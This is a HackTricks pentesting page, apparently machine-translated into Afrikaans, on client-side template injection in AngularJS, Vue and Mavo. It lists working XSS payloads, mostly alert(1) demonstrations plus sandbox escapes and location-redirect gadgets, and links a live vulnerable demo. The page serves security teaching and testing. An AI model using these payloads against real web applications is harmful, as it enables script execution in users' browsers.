Klientkant Sjabloon Inspuiting (CSTI)

Reading time: 4 minutes

tip

Leer & oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer & oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Ondersteun HackTricks

Samevatting

Dit is soos 'n Server Side Template Injection maar in die klient. Die SSTI kan jou toelaat om kode op die afstandsbediener uit te voer, die CSTI kan jou toelaat om arbitraire JavaScript kode in die slagoffer se blaaier uit te voer.

Toetsing vir hierdie kwesbaarheid is baie soortgelyk aan die geval van SSTI, die interpreter verwag 'n sjabloon en sal dit uitvoer. Byvoorbeeld, met 'n payload soos {{ 7-7 }}, as die app kwesbaar is, sal jy 'n 0 sien, en as nie, sal jy die oorspronklike sien: {{ 7-7 }}

AngularJS

AngularJS is 'n wyd gebruikte JavaScript-raamwerk wat met HTML kommunikeer deur middel van eienskappe bekend as direkte, 'n noemenswaardige een is ng-app. Hierdie direkte laat AngularJS toe om die HTML-inhoud te verwerk, wat die uitvoering van JavaScript-uitdrukkings binne dubbele krulhake moontlik maak.

In scenario's waar gebruikersinvoer dinamies in die HTML-lichaam ingevoeg word wat met ng-app gemerk is, is dit moontlik om arbitraire JavaScript-kode uit te voer. Dit kan bereik word deur die sintaksis van AngularJS binne die invoer te benut. Hieronder is voorbeelde wat demonstreer hoe JavaScript-kode uitgevoer kan word:

javascript
{{$on.constructor('alert(1)')()}}
{{constructor.constructor('alert(1)')()}}
<input ng-focus=$event.view.alert('XSS')>

<!-- Google Research - AngularJS -->
<div ng-app ng-csp><textarea autofocus ng-focus="d=$event.view.document;d.location.hash.match('x1') ? '' : d.location='//localhost/mH/'"></textarea></div>

U kan 'n baie basiese aanlynvoorbeeld van die kwesbaarheid in AngularJS vind in http://jsfiddle.net/2zs2yv7o/ en in Burp Suite Academy

[!CAUTION] > Angular 1.6 het die sandbox verwyder so vanaf hierdie weergawe moet 'n payload soos {{constructor.constructor('alert(1)')()}} of <input ng-focus=$event.view.alert('XSS')> werk.

VueJS

U kan 'n kwesbare Vue implementering vind in https://vue-client-side-template-injection-example.azu.now.sh/
Werkende payload: https://vue-client-side-template-injection-example.azu.now.sh/?name=%7B%7Bthis.constructor.constructor(%27alert(%22foo%22)%27)()%7D%

En die bronkode van die kwesbare voorbeeld hier: https://github.com/azu/vue-client-side-template-injection-example

markup
<!-- Google Research - Vue.js-->
"><div v-html="''.constructor.constructor('d=document;d.location.hash.match(\'x1\') ? `` : d.location=`//localhost/mH`')()"> aaa</div>

'n Regtig goeie pos oor CSTI in VUE kan gevind word in https://portswigger.net/research/evading-defences-using-vuejs-script-gadgets

V3

{{_openBlock.constructor('alert(1)')()}}

Krediet: Gareth Heyes, Lewis Ardern & PwnFunction

V2

{{constructor.constructor('alert(1)')()}}

Krediet: Mario Heiderich

Kyk na meer VUE payloads in https://portswigger.net/web-security/cross-site-scripting/cheat-sheet#vuejs-reflected

Mavo

Payload:

[7*7]
[(1,alert)(1)]
<div mv-expressions="{{ }}">{{top.alert(1)}}</div>
[self.alert(1)]
javascript:alert(1)%252f%252f..%252fcss-images
[Omglol mod 1 mod self.alert (1) andlol]
[''=''or self.alert(lol)]
<a data-mv-if='1 or self.alert(1)'>test</a>
<div data-mv-expressions="lolx lolx">lolxself.alert('lol')lolx</div>
<a href=[javascript&':alert(1)']>test</a>
[self.alert(1)mod1]

Meer payloads in https://portswigger.net/research/abusing-javascript-frameworks-to-bypass-xss-mitigations

Brute-Force Opsporing Lys

Auto_Wordlists/wordlists/ssti.txt at main \xc2\xb7 carlospolop/Auto_Wordlists \xc2\xb7 GitHub

tip

Leer & oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer & oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Ondersteun HackTricks